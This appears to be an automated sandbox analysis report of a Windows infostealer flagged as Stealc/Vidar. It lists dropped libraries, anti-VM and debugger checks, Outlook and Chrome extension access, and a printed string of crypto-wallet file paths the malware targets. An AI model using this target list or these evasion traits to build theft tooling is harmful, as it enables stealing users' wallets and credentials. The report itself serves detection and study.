Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: 4c469e2cf403fea6249e835ddce23de2.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: 4c469e2cf403fea6249e835ddce23de2.exe

Static file information: File size 14201936 > 1048576

Source: 4c469e2cf403fea6249e835ddce23de2.exe	Static PE information: section name: RT_CURSOR
Source: 4c469e2cf403fea6249e835ddce23de2.exe	Static PE information: section name: RT_BITMAP
Source: 4c469e2cf403fea6249e835ddce23de2.exe	Static PE information: section name: RT_ICON
Source: 4c469e2cf403fea6249e835ddce23de2.exe	Static PE information: section name: RT_MENU
Source: 4c469e2cf403fea6249e835ddce23de2.exe	Static PE information: section name: RT_DIALOG
Source: 4c469e2cf403fea6249e835ddce23de2.exe	Static PE information: section name: RT_STRING
Source: 4c469e2cf403fea6249e835ddce23de2.exe	Static PE information: section name: RT_ACCELERATOR
Source: 4c469e2cf403fea6249e835ddce23de2.exe	Static PE information: section name: RT_GROUP_ICON

Source: 4c469e2cf403fea6249e835ddce23de2.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x19ce00
Source: 4c469e2cf403fea6249e835ddce23de2.exe	Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x8f5000
Source: 4c469e2cf403fea6249e835ddce23de2.exe	Static PE information: Raw size of .reloc is bigger than: 0x100000 < 0x29ae00

Source: 4c469e2cf403fea6249e835ddce23de2.exe

Static PE information: More than 200 imports for USER32.dll

Source: 4c469e2cf403fea6249e835ddce23de2.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: 4c469e2cf403fea6249e835ddce23de2.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1962494191.000000006F8DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: z:\build-dev\usbnet5.Mon_05_17_2021_16_10_12.10\projects\usbnet5\src\virt\shell\Release\usbclient.pdb0@_\9] source: 4c469e2cf403fea6249e835ddce23de2.exe
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: z:\build-dev\usbnet5.Mon_05_17_2021_16_10_12.10\projects\usbnet5\src\virt\shell\Release\usbclient.pdb source: 4c469e2cf403fea6249e835ddce23de2.exe
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: z:\build-dev\usbnet5.Mon_05_17_2021_16_10_12.10\projects\usbnet5\src\virt\shell\Release\usbclient.pdb0@ source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1937425066.0000000000B4E000.00000002.00000001.01000000.00000003.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000000.1696785302.0000000000B4E000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1962494191.000000006F8DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

Code function: 0_2_009CF090 std::exception::exception,__CxxThrowException@8,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetLastError,SetLastError,

0_2_009CF090

Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_00B1B9AF push ecx; ret		0_2_00B1B9C2
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_00B1BBB5 push ecx; ret		0_2_00B1BBC8

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

Code function: 0_2_009B7C20 GetClientRect,PtInRect,MapWindowPoints,SendMessageW,SetRectEmpty,RedrawWindow,ReleaseCapture,SetCapture,ReleaseCapture,SetCapture,SendMessageW,UpdateWindow,SendMessageW,IsWindow,IsIconic,IsZoomed,IsWindow,UpdateWindow,

0_2_009B7C20

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

0_2_009CF090

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

API coverage: 0.2 %

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

Code function: 0_2_6C7AEBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6C7AEBF0

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware!
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D51000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

Code function: 0_2_00B17527 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00B17527

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

0_2_009CF090

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_00B17527 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00B17527
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_00B20657 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00B20657
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C87AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C87AC62

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 4c469e2cf403fea6249e835ddce23de2.exe PID: 6900, type: MEMORYSTR

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

Code function: 0_2_009B1140 _malloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,_free,

0_2_009B1140

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

Code function: 0_2_6C87AE71 cpuid

0_2_6C87AE71

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

Code function: 0_2_00B2010B GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00B2010B

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe

Code function: 0_2_00A2F4D1 _memset,GetVersionExW,

0_2_00A2F4D1

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1940177043.0000000003D18000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1939639884.0000000001D51000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4c469e2cf403fea6249e835ddce23de2.exe PID: 6900, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 4c469e2cf403fea6249e835ddce23de2.exe PID: 6900, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D18000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003DAB000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Desktop
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.json
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.json
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D18000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystoreF
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.json
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json2
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003DAB000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: file__0.localstorage
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystoreF
